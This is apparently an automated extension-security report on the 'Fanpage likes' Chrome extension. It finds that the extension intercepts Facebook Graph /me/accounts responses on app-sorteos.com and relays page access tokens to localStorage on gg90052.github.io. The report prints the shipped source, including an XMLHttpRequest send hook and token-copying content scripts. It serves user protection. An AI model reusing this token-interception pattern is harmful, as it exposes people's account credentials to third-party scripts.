Is Fanpage likes safe?

High risk

Fanpage likes stores Facebook page access tokens and exposes them to its helper site.

When used on app-sorteos.com, the extension intercepts Facebook Graph API responses for page accounts and stores any returned access tokens in extension storage. It then writes those tokens into localStorage on the helper site, making the Facebook page tokens readable by scripts on that origin.

scmou104v7.5.7Chrome Web Store
72Risk
Who publishes it

scmou104 - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
scmou104

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Facebook page access tokens copied to helper-page storage

When you use the Fanpage likes workflow on app-sorteos.com, the extension copies Facebook Graph /me/accounts page access tokens into local storage, then writes them into localStorage on gg90052.github.io as facebookTokens, readable there.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the Fanpage likes workflow on app-sorteos.com.

That page flow can load Facebook Graph /me/accounts responses containing page account records.

The extension did this

The extension copies the page account records, including access tokens, into storage it controls.

When you later open the gg90052.github.io helper page, it writes those records into that page's localStorage as facebookTokens.

Token fields moved between page, extension, and helper storage
  • Facebook page access token
    EAABwzLixnjYBO9ZCZA3x4Jb7h2NqP6vYt8R5LmKpQ (illustrative)

    This credential can authorize Facebook Graph API requests for a page account, depending on the token's permissions and validity.

  • Page account name
    Example Coffee Fans (illustrative)

    This links the token record to the Facebook page account shown in the workflow.

  • Extension storage key
    chrome.storage.local key tokens

    This is where the extension keeps the token records after reading the Facebook response.

  • Helper-page storage key
    localStorage.facebookTokens

    This makes the same token records readable to scripts running on the helper page you open.

The code that does this

The page-world script reads /me/accounts responses and posts token data

Readable version

Readable shipped source: domain filter

getToken.js
const TARGET_DOMAINS = ["graph.facebook.com"]; // 你想攔截的網域列表// --- 輔助函數:檢查 URL 是否屬於目標網域 ---function isTargetDomain(url) {  if (!url) return false;  try {    const parsedUrl = new URL(url);    return TARGET_DOMAINS.some((domain) => parsedUrl.hostname.endsWith(domain));  } catch (e) {    // 無效的 URL 或相對路徑,根據需要處理    // console.warn("Could not parse URL:", url, e);    // 對於相對路徑,可以嘗試結合 window.location.hostname 判斷    // const currentHostname = window.location.hostname;    // return TARGET_DOMAINS.some(domain => currentHostname.endsWith(domain));    return false; // 簡單起見,忽略相對路徑或無效 URL  }}

Readable shipped source: XHR hook

getToken.js
XMLHttpRequest.prototype.send = function (...args) {  const xhr = this;  const originalOnLoad = xhr.onload;  const originalOnError = xhr.onerror;  const originalOnReadyStateChange = xhr.onreadystatechange; // 也攔截它  const handleResponse = () => {    // 檢查是否是目標網域的回應 (使用 responseURL 較可靠)    // 有些情況下 _requestURL 可能是相對路徑    const responseUrl = xhr.responseURL || xhr._requestURL;    if (xhr.readyState === 4 && isTargetDomain(responseUrl)) {      // console.log(`[XHR Intercepted Response] from: ${responseUrl}`);      // console.log("Status:", xhr.status, xhr.statusText);      // console.log("Headers:", xhr.getAllResponseHeaders());      // 根據 responseType 處理回應      let responseData;      if (responseUrl.includes("/me/accounts")) {        responseData = JSON.parse(xhr.responseText);        appendTokenButton(responseData.data);        // 使用 postMessage 將資料傳送給 Extension        window.postMessage(          {            type: "FACEBOOK_TOKENS",            data: responseData.data,          },          "*"        );        showToast("已完成TOKEN擷取");      }    }  };  // 攔截 onload  xhr.onload = function (...loadArgs) {    // console.log("XHR onload triggered for:", xhr._requestURL);    handleResponse();    if (originalOnLoad) {      return originalOnLoad.apply(this, loadArgs);    }  };  // 攔截 onerror  xhr.onerror = function (...errorArgs) {    console.log("XHR onerror triggered for:", xhr._requestURL);    // 可以在這裡處理錯誤    if (originalOnError) {      return originalOnError.apply(this, errorArgs);    }  };  // // 攔截 onreadystatechange (更通用,兼容舊代碼)  // xhr.onreadystatechange = function (...readyStateArgs) {  //   // console.log(`XHR readystatechange: ${xhr.readyState} for: ${xhr._requestURL}`);  //   handleResponse(); // 在每次狀態改變時都檢查,確保 readyState 4 時能捕捉到  //   if (originalOnReadyStateChange) {  //     return originalOnReadyStateChange.apply(this, readyStateArgs);  //   }  // };  // console.log("XHR send called for:", xhr._requestURL);  return originalXhrSend.apply(this, args);};
The code that does this

The content scripts persist tokens and copy them to helper-page localStorage

Readable version

Readable shipped source: extension storage write

saveToken.js
// 監聽來自 Main World 的訊息window.addEventListener("message", function (event) {  // 確保訊息來源是我們信任的  if (event.source != window) return;  if (event.data.type === "FACEBOOK_TOKENS") {    // 將資料儲存到 chrome.storage.local    const tokens = {      timestamp: new Date().toISOString(),      tokens: event.data.data,    };    chrome.storage.local.set(      {        tokens: tokens,      },      function () {        if (chrome.runtime.lastError) {          console.error("儲存TOKEN時發生錯誤:", chrome.runtime.lastError);        } else {          console.log("TOKEN已成功儲存");        }      }    );  }});

Readable shipped source: helper-page localStorage write

content2.js
// 監聽 chrome.storage.local 的變化chrome.storage.local.onChanged.addListener(function (changes, namespace) {  console.log(changes);  if (changes.tokens) {    console.log("Facebook tokens 已更新:", changes.tokens.newValue);    // 將 tokens 注入到localstorage    localStorage.setItem(      "facebookTokens",      JSON.stringify(changes.tokens.newValue)    );    // 發送自定義事件通知其他腳本 tokens 已更新    const event = new CustomEvent("facebookTokensUpdated", {      detail: changes.tokens.newValue,    });    window.dispatchEvent(event);  }});// 頁面載入時也讀取已存在的 tokenschrome.storage.local.get(["tokens"], function (result) {  if (result.tokens) {    localStorage.setItem("facebookTokens", JSON.stringify(result.tokens));    console.log("已載入現有的 Facebook tokens:", result.tokens);  }});
Origins involved in the token flow
    • app-sorteos.com

    The extension injects the XHR-reading script into this workflow page.

    • graph.facebook.com

    The extension checks completed responses from this host and parses /me/accounts payloads.

    • gg90052.github.io

    The helper page receives the stored token records through page localStorage when the extension's content script runs there.

What it can do

Permissions this extension asks for, as declared in version 7.5.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on www.facebook.com

    *://www.facebook.com/*

  • Read and change your data on gg90052.github.io

    *://gg90052.github.io/*

  • Read and change your data on m.facebook.com

    *://m.facebook.com/*

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Fanpage likes contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • gg90052.github.io

    Fanpage likes sends data to gg90052.github.io. No other extension we have analysed sends data here.

Updated 30 September 2026jhgjhncplhbjpdlgpenfmojcicihhcoe